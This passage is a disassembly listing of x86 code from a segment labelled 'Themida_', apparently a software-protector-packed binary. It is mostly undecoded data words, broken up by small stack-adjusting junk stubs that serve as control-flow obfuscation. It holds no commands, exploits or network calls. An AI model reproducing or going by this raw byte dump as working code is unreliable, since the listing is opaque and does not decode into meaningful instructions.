		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_592579	endp

; ---------------------------------------------------------------------------
		db 0Eh,	9Fh, 0A5h
		dd 7213CF07h, 9D2B47F7h, 60F0571h, 0BF66FF6Ah, 9D0336B6h
		dd 60F0B69h, 18C1B5FFh,	0BFF8060Fh, 33B63785h, 145595FFh
		dd 64E9060Fh, 0F000001h, 1483h,	0B70F6000h, 0AE9D6h, 0D9400000h
		dd 339C7326h, 4B4529B5h, 8100B061h, 40136EFh, 8070E664h
		dd 71E4E1C3h, 68F0Fh, 0B5890000h, 60F2BEDh, 830F613Ch
		dd 127h, 5FFC8A57h, 60C8B60Fh, 104DB589h, 8B0F060Fh, 6
		dd 23A1B589h, 0BA61060Fh, 6, 6820Fh, 95290000h,	60F0805h
		dd 9D89C18Bh, 60F0A89h,	0EEEFF381h, 0E8C160FDh,	0DF8B5604h
		dd 35BD295Fh, 66060F2Ah, 9D8BE2F7h, 60F3245h, 9E9C82Bh
		dd 0B9000000h, 0F3A15D9Dh, 0BA11CAD7h, 9D29D18Bh, 60F3429h
		dd 6E9h, 79BD2B00h, 8B060F31h, 0F1BFD85h, 0FE806h, 2E770000h
		dd 0A31ADD75h, 0A90AED07h, 0D4D153FDh, 85015697h, 60F3241h
		dd 0C0835B5Bh, 59958907h, 83060F2Dh, 4EBB00C0h,	3B0CE2DCh
		dd 3D830FD0h, 0FC000000h, 14E8h, 0E882800h, 24635815h
		dd 8560FC4Dh, 0E3ED1655h, 7F8777D9h, 93BF66F0h,	54E95BC9h
		dd 60000000h, 6E9h, 0ADE0EB00h,	8BCEFB25h, 0F2DADB5h, 9D236106h
		dd 60F2925h, 134D8D8Bh,	0BB66060Fh, 9D8B8AC8h, 60F188Dh
		dd 0F01E183h, 2284h, 0E99D8900h, 83060F0Fh, 0F134DA5h
		dd 0BD89FE06h, 60F23C9h, 1BFD9589h, 0BF66060Fh,	0E92BB3h
		dd 8D000000h, 12F5A5B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 6E6FF76h, 668CEFE6h, 6A847EBBh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0D80D83A3h, 0FFDC8ADAh, 0F345195h, 1D958906h
		dd 0B9060F23h, 8DEh, 12C1BD2Bh,	0E183060Fh, 0CDBD8BFCh
		dd 8B060F07h, 0F22659Dh, 0B8F8FC06h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+60F2C05h],	edi
		sub	edx, edx
		push	0
		push	edi
		call	sub_5927AF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5927AF	proc near		; CODE XREF: Themida_:005927A7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5927AF	endp

; ---------------------------------------------------------------------------
		db 27h
		dd 0AD7CA66Ah, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 89D2C355h, 0F0A3D95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 435AFC9Fh, 3A30C622h
		dd 0CF81CB4Ch, 4EE94956h, 880Dh, 0D840F00h, 0E9000000h
		dd 8, 0C431B1F5h, 5D9E98E9h, 2C65958Bh,	6A060Fh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 9D8B2FC3h, 60F1931h,	7C18D8Bh, 0BF0F060Fh, 0C28B50FEh
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 39D1C350h, 30AD4D67h, 0F98B66DBh, 4C06BF66h,	2AD5BD83h
		dd 0F00060Fh, 7284h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0B7E1FEFBh, 0B8AA7107h
		dd 0B8C775h, 8D000000h,	0F4CA78Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 72683879h
		dd 10E9h, 0F0F99600h, 52AE580h,	0B34B6CE6h, 5EB25388h
		dd 0B19D33D8h, 0FF060F0Dh, 519D8BE1h, 83060F14h, 0F2491BDh
		dd 840F0006h, 454h, 12E8h, 6D4E6B00h, 63B9C29Ah, 0FF071597h
		dd 1F153F01h, 0FC7E7F15h, 91BD835Bh, 1060F24h, 449840Fh
		dd 0BD8B0000h, 60F14A9h, 29059D89h, 0BD83060Fh,	60F2491h
		dd 0FA860F03h, 89000003h, 0F319595h, 6A6006h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 4AE2F9C3h
		dd 0A5D1D2E0h, 2DBDBD8Bh, 8C66060Fh, 61B589D9h,	80060F11h
		dd 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 7456B5C3h, 840FC90Ah, 191h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 17h, 0A7C35545h, 89A31105h
		dd 0F2249BDh, 0A9858B06h, 6A060F2Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0C449C350h
		dd 5958941h, 33060F25h,	0F19AD85h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 8C81F875h
		dd 5C492EE3h, 95292B1Eh, 60F3021h, 14BB5350h, 5B25D00Ah
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 7E15C353h, 0AA6A2385h,	6A006A03h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 3BFAC357h, 8589D35Fh, 60F01EDh, 4E8h, 1F03FF00h
		dd 66605700h, 0A4B9F38Bh, 6136919Bh, 5E9505Bh, 89000000h
		dd 837EEB97h, 424448Bh,	0E963BB66h, 8F0F008Bh, 0
; ---------------------------------------------------------------------------
		mov	[esp+4], eax
		jno	loc_592ADD
		mov	di, ax


loc_592ADD:				; CODE XREF: Themida_:00592AD4j
		pop	eax
		push	0
		push	ebp
		call	sub_592AE9
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592AE9	proc near		; CODE XREF: Themida_:00592AE1p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_592AE9	endp

; ---------------------------------------------------------------------------
		db 7Bh,	0EDh, 36h
		dd 70937F60h, 34C995FFh, 0BD33060Fh, 60F0CA1h, 1E51C381h
		dd 85897443h, 612BAC6h,	559D8B60h, 51060F2Eh, 880Fh, 61580000h
		dd 1ACE9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 72997FA6h, 6870F52h, 81000000h, 0B60FD9C7h
		dd 0BF0F5B5Ah, 0BE858BFAh, 6A0612BAh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 454BC351h
		dd 80D6B885h, 0C7F3874Bh, 1800h, 13E900h, 0B7B90000h, 546F154Fh
		dd 8BFA5B4Bh, 0BECAE279h, 0E6AC7ACBh, 0C2B58BE5h, 6A0612BAh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 607EC356h, 8BD7EF37h, 0F17E99Dh, 0A9858B06h
		dd 6A060F2Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 33F8C355h, 18E3B631h, 0B529EA16h
		dd 60F21D9h, 689D88Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 5C35343h, 0E80A387Bh,	7, 0F6110EACh
		dd 81B887AAh, 0F50765CBh, 858B5B2Bh, 60F2DA9h, 44689F5h
		dd 0D9D8Bh, 6650060Fh, 3489F88Bh, 81950924h, 0FF060F1Ch
		dd 12BABEB5h, 0C3816606h, 9868E132h, 8BB176F6h,	240481DAh
		dd 4EA80D67h, 33899D8Bh, 858D060Fh, 612BAC6h, 9E9h, 791EFA00h
		dd 0A8C983FFh, 66902D04h, 8B50FA8Bh, 10E890D8h,	73000000h
		dd 9B9510B3h, 3ACD0BA5h, 0D9AC2347h, 8B0CF86Ah,	0F002D9Dh
		dd 95FF5B06h, 60F34C9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 54C35646h, 1D6F941Ah,	89FCE592h, 0F100985h
		dd 6A6106h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 8B5B1AC3h, 0B872BA38h, 9185C76Dh,	3060F24h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0E784C353h, 83F98A1Fh,	12BAC6BDh
		dd 840F0006h, 31h, 1A759589h, 41E9060Fh, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 21EEC351h, 0CE262ACCh, 0DB80D371h, 0C30504Fh, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0A6C35545h,	0ECCF9A58h, 144D9D0Bh
		dd 9529060Fh, 60F13FDh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0C35242h, 6870F57h, 8B000000h, 0F101DBDh
		dd 91BD8306h, 3060F24h,	4EA850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0AAADBC3h
		dd 0BAC6BD83h, 0F000612h, 4BF84h, 0FF5B5600h, 12BAC6B5h
		dd 79858906h, 0FF060F28h, 0F27FD95h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 7185B434h
		dd 8B68FF58h, 12BABAB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 6C4275C5h, 0C7F92127h
		dd 1000106h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 7FFFC583h, 5D5A3E38h, 66965F52h
		dd 5050FE8Bh, 0BE952h, 0CDC20000h, 234F350Bh, 0FCF83AB4h
		dd 66310F7Dh, 5A74CEBFh, 6A9658h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 67F82BC3h, 0BAC6B5FFh
		dd 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 24B9CDC3h, 0DAA768F3h, 1D31BD8Bh,	8509060Fh
		dd 60F1065h, 130195FFh,	8BFC060Fh, 12BABAB5h, 8BF98B06h
		dd 0F1D1585h, 0A59D8B06h, 89060F0Dh, 0C486h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 939D1F4Dh, 6856116Eh, 2C65958Bh, 6A060Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 4D8775C3h
		dd 6C7A8B4Dh, 1E8DBD2Bh, 0C283060Fh, 52006A04h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 9EA75C00h
		dd 8BEE0FD2h, 0F5BD8BEDh, 89060F21h, 6A2050h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0C87868C3h
		dd 2EFB4599h, 0A717BF66h, 1812FABFh, 14858D79h,	6A0612CFh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8B37C351h, 0F1399BDh, 0B8868906h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 2D7DC356h, 0FC2A62AEh, 0CE9h, 9C85A100h
		dd 356B829Dh, 0B3AE4CAFh, 6A006AFDh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 72A4C352h
		dd 41AAE072h, 4D852957h, 5F060F29h, 0BAC6B5FFh,	6A0612h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 54AF8DC3h, 0B77F720Bh, 0FD95FFDEh, 0F060F30h, 0E896FFB7h
		dd 5, 4CB5078h,	0CE96026h, 10000000h, 48B5D039h, 66AB969Dh
		dd 61CFCC34h, 0D88B505Bh, 0D9BD8B96h, 0FF060F10h, 12BAC6B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 56168C9Eh, 0BD030957h, 60F3141h,	10E9F5h
		dd 71D60000h, 5372D7CBh, 5B75743Ch, 5CEFF6FCh, 95FFAAC4h
		dd 60F12E5h, 2AF18589h,	0F781060Fh, 6396CBEh, 27A1BD83h
		dd 0F00060Fh, 3984h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 36E745DDh, 0BBBE58FAh
		dd 756A6705h, 89E9B750h, 0BD2B2434h, 60F1EE9h, 0F818589h
		dd 0B5FF060Fh, 612BAC6h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0E4C35545h, 27AE18CBh, 0D0E4CEC3h, 0D9952976h
		dd 0FF060F16h, 0F341595h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 56D71F07h
		dd 0F607FE6h, 685h, 0D18D0B00h,	9060F18h, 0F1445B5h, 9D316106h
		dd 60F14A9h, 0BAC6B5FFh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 87E77CC3h, 619D896Fh
		dd 0FF060F05h, 0F0AF595h, 18F0F06h, 0F8000000h,	1A4D8589h
		dd 0BD83060Fh, 60F07A9h, 8B840F02h, 0BF000000h,	24DB42CAh
		dd 2C8D858Bh, 6A060Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0A21FECC3h, 6E9D0D9h, 9B000000h
		dd 20F7F5C1h, 10E98Fh, 0F9580000h, 94919A12h, 96978E7Ch
		dd 63CB4D0Dh, 0C6BDE9h,	50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 8528E237h, 0F27C38ADh
		dd 0DE8B2849h, 11E9h, 5EC66800h, 0B2420B04h, 49E29EB7h
		dd 27EC5838h, 85C795A1h, 60F106Dh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5932EB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5932EB	proc near		; CODE XREF: Themida_:005932E3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5932EB	endp

; ---------------------------------------------------------------------------
		db 0A1h
		dd 812CACA8h, 0E7C53B78h, 0FFF28FE9h, 57006AFFh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 1E9FA151h, 89606084h, 0F1C05BDh, 61616006h, 30EDB58Bh
		dd 3161060Fh, 0F264DB5h, 8BC18B06h, 0F08C99Dh, 0C3816606h
		dd 858D7207h, 60F1461h,	1299D89h, 5090060Fh, 7E852h, 799F0000h
		dd 1609D34Eh, 5B616029h, 8B66310Fh, 50585AFAh, 6090F98Bh
		dd 3D9D0160h, 81060F19h, 0C981D1C7h, 6A616151h,	0D99D8B00h
		dd 6A060F21h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 1F3816E6h, 858DF1DEh, 61385E5h, 164DBD09h
		dd 0C083060Fh, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 99055F9Dh, 0B790FC18h
		dd 6A905097h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0BDDEC356h, 0BB66E809h, 6AA476h
		dd 33959D29h, 6A060Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 74C35141h, 0A46055D7h, 0E8C68A9Bh, 0FFF8BF0Fh
		dd 0F348D95h, 0E99D0306h, 8D060F26h, 12985E8Dh,	0E59D2B06h
		dd 0FF060F15h, 83FD8AD1h, 0F21ADBDh, 850F0106h,	4Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 8FC35141h, 8B656A04h
		dd 53026AF9h, 1B6D9D8Bh, 505F060Fh, 2890Fh, 0DA8B0000h
		dd 0F240489h, 286h, 0FF9EB300h,	0F30FD95h, 75BD8B06h, 0E9060F23h
		dd 0DCCh, 0E8h,	0ED815D00h, 61385EFh, 24DCBF66h, 0E1BF6660h
		dd 6A618Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 97EB5EC3h, 0F0D7E96Dh, 0DD9D89FEh, 8D060F15h
		dd 12884785h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 516CD478h, 0C985290Dh, 8B060F15h
		dd 0F219DBDh, 890F9006h, 2, 5350D98Bh, 905FF98Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0CC35646h, 64DA8B66h
		dd 35FFh, 81660000h, 644F8FC3h,	2589h, 6A0000h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 4750A4C3h, 7C0383D9h, 0C38166EFh, 0EB807A58h, 5985FFB0h
		dd 0F060F24h, 0FF6ADBBFh, 0CE8B6660h, 61F8B70Fh, 213DB5FFh
		dd 6A060Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0FDF35C3h, 95FFFFB7h, 60F1455h, 135E9h, 0A7C38100h
		dd 0B050AC3Ch, 0F19D2300h, 0E9060F13h, 8, 8897601Eh, 0E537A687h
		dd 0E4F570E6h, 0D19D8B71h, 3C060F2Eh, 7830F61h,	53000001h
		dd 372448BFh, 0B60F5F27h, 0FE8C8h, 315C0000h, 0BBADC689h
		dd 0F61485E9h, 381EEBF7h, 6BA5BD7h, 0F000000h, 80h, 0FC18B00h
		dd 89h,	6800F00h, 8B000000h, 0F30719Dh,	4E8C106h, 6800Fh
		dd 0BD890000h, 60F1D31h, 89E2F766h, 0F2AADB5h, 0E9C82B06h
		dd 11h,	6F6C4AC6h, 0C5525A85h, 764AD0A8h, 5D145A4Fh, 89D18B92h
		dd 0F092585h, 1C78106h,	0E9323B77h, 2, 858B72B3h, 60F0D7Dh
		dd 0B399589h, 0C083060Fh, 831BB307h, 0D03B00C0h, 24830Fh
		dd 810F0000h, 6, 1861EB81h, 57E97733h, 0E9000000h, 0Eh
		dd 0E4C3855Eh, 4292A877h, 9134D1B3h, 8D8B2F2Eh,	60F2551h
		dd 0CE8B6660h, 2F9DBD89h, 8361060Fh, 840F01E1h,	2Ah, 26B9BD2Bh
		dd 9D29060Fh, 60F17B9h,	2551A583h, 66FE060Fh, 0C213F381h
		dd 0D7D9589h, 0BF51060Fh, 2632CFC5h, 0E95Fh, 0B58D0000h
		dd 613009Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	24C35747h, 0E0F81E2Bh, 3D61E6B0h, 6AF98B10h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0BE90C0Dh, 0F0000000h, 12CDF357h, 619F6A06h,	95FFB0B4h
		dd 60F3451h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0B5C35242h, 13E847h, 0C9D10000h, 38530E1Eh, 0DCC8C5B2h
		dd 0FEAFB719h, 1664BE4Dh, 7CEB815Eh, 5F0E1AD8h,	7F5B9h
		dd 9589F500h, 60F2CE9h,	0E8FCE183h, 9, 0EA22BF7Ah, 4C9D8E62h
		dd 7E8B4h, 9E050000h, 74723EA0h, 51952993h, 5B060F0Bh
		dd 6AFC5Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0DB0E16C3h, 0A8203A4Ch, 9D03FAA5h, 60F2D89h
		dd 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 5B02FBD9h, 0B24F5E13h, 9D2BD22Bh
		dd 60F2375h, 0D1C233ADh, 83D003E8h, 0F47504E9h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 86C35040h, 88F5B82Ah
		dd 890FD8F5h, 6, 7D59D89h, 6A060Fh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 2A381BC3h
		dd 6F81F381h, 81661A12h, 0DA639DBh, 88h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 17h, 0DEC35141h, 0E999B523h
		dd 0Bh,	0CC923AB6h, 3F3071EDh, 8B6A830Ah, 0F2C6595h, 0D5BD8B06h
		dd 0E9060F33h, 0Eh, 0B68672Eh, 0F6AA4FC6h, 0EEEC51BDh
		dd 8D8BAFAAh, 60F07C1h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0C5C35343h, 0C96696CEh, 0CA8060h, 11E8h
		dd 0E1663E00h, 8176B48Fh, 67EEF362h, 7663E2A8h,	3FB1E376h
		dd 9D896158h, 60F1669h,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0BD8BE1C3h, 60F212Dh, 0DEAEECBBh
		dd 0D5BD833Ch, 60F2Ah, 64840Fh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 9B42EAC3h
		dd 0B8h, 2DBD8B00h, 0FC060F0Dh,	4CA78D8Dh, 6A060Fh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0C5EEA1C3h, 3607663Ch, 9D89E55Ah, 60F254Dh, 333064BFh
		dd 0FE1FF64h, 0BD83DABFh, 60F2491h, 66840F00h, 6A000004h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 5C9AC352h, 950E0881h, 49BC1D69h, 2491BD83h
		dd 0F01060Fh, 44F84h, 0AE900h, 24470000h, 0AC1632B1h, 6C9B5602h
		dd 2491BD83h, 0F03060Fh, 3FD86h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 2AE4D8D7h
		dd 0EF1E78EEh, 0CE9h, 3AE20900h, 7E28A566h, 11633322h
		dd 6A60F1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 3A22AFC3h, 0AE9A6h, 221E0000h, 6BB50593h
		dd 80F0F996h, 6AD98C66h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 6EF5C350h, 9F6D4523h
		dd 0CE9CAh, 71FF0000h, 0CD6F04B2h, 36693C56h, 8B66A304h
		dd 4E180FAh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	7AC35040h, 95160DA9h, 0B5291E41h
		dd 60F1E4Dh, 840FC90Ah,	0E7h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 2BC35545h, 5D9589A7h, 66060F21h
		dd 858BDE8Bh, 60F2DA9h,	19AD8533h, 20B3060Fh, 24048950h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 1AC35141h
		dd 94400AEAh, 7B9B63DDh, 2E919D8Bh, 6A060Fh, 34CD9D89h
		dd 1C68060Fh, 669C6CAEh, 818E46BBh, 55E32404h, 95FF63B2h
		dd 60F34C9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	35C35747h, 7E3B7BFEh, 5D2C2853h, 2EB19501h, 0D781060Fh
		dd 2C25D741h, 0BAC68589h, 6A0612h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0A42A7AC3h, 0E90CBEA5h
		dd 1D8h, 5870Fh, 81660000h, 8BB962CBh, 12BABE85h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0E619CDD8h, 11859448h, 0C7F523h, 18h, 0BAC2B58Bh, 6A0612h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0FDCD74C3h, 2FA9858Bh, 6A060Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 78E964C3h, 8BDD6253h
		dd 0F00499Dh, 6A068906h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 1363C356h, 6830Fh
		dd 9D330000h, 60F3421h,	2DA9858Bh, 6A060Fh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 896A23C3h
		dd 0DA8A0446h, 24348950h, 0BEB5FFFCh, 6A0612BAh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0A5F8C357h, 44B347CAh, 0D2DB8166h, 4E816h, 3FF0000h
		dd 0BF66001Fh, 0BB5060FAh, 54FE5230h, 424448Bh,	310F5250h
		dd 0DE9h, 9E786E00h, 0CA4149BDh, 0EA5BDB5Bh, 585A6BE1h
		dd 5250008Bh, 9E0325BFh, 60310F13h, 0E8C68B66h,	0Fh, 0FADD264h
		dd 0E08A65F3h, 53A1B12h, 5E157076h, 89585A61h, 66042444h
		dd 581391BBh, 8D12CF80h, 12BAC685h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 12A63857h
		dd 9D893B51h, 60F1D45h,	0FE8h, 6DD7FC00h, 6AECED29h, 93D43DBDh
		dd 0B70F9177h, 0B22EBF66h, 0BB66905Bh, 905089B9h, 33799D8Bh
		dd 95FF060Fh, 60F34C9h,	2FFDB589h, 9D8B060Fh, 60F30ADh
		dd 0ADBD2961h, 0C7060F2Ah, 0F249185h, 306h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 27F7818Ah, 8129FA14h, 37F00DE3h, 0C6BD833Eh,	612BAh
		dd 34840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1C0424h, 50400000h, 14E77C3h, 0F745EDF8h, 8B66AC70h
		dd 23E9D9h, 9D8B0000h, 60F12F5h, 30508AB3h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0B58B60C0h
		dd 60F26DDh, 6A615E51h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 14C1C355h, 0D56E0F52h
		dd 0F80D972h, 680h, 819D0100h, 0BB060F2Ah, 6FEDDC56h, 0BD83DA8Bh
		dd 60F2491h, 9D850F03h,	81000003h, 469636DBh, 0C6BD8377h
		dd 612BAh, 38A840Fh, 0B70F0000h, 0C6B5FFFAh, 0E80612BAh
		dd 0Ah,	51B4D0B2h, 484ECC85h, 858903CCh, 60F1AD1h, 0FD95FF5Fh
		dd 8B060F27h, 0F00219Dh, 0BAB58B06h, 890612BAh,	0F103995h
		dd 559D8B06h, 0C7060F2Bh, 1000106h, 0CE800h, 0CC840000h
		dd 0D53D44BFh, 52E271CFh, 12E97C7Dh, 0C7000000h, 1E40349Ah
		dd 0B8255867h, 9F43ED76h, 3EED1340h, 50505B35h,	0FB8B6652h
		dd 0BB66310Fh, 585AED03h, 6A243489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 7C81C350h
		dd 689EBD65h, 0FF63BDA8h, 12BAC6B5h, 195FF06h, 0E9060F13h
		dd 13h,	0BB5088BAh, 794AF562h, 62E16383h, 0A01D4593h, 8BC0CE87h
		dd 12BABAB5h, 498D0906h, 8B060F29h, 0F1D1585h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 42630E6Eh, 297FB21Ah, 0F29C985h, 0C4868906h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 651C355h,	0C805ACEFh, 9D31769Ch, 60F2861h
		dd 2C65958Bh, 6A060Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0F5861C3h, 0D228E9F4h, 89D915A9h
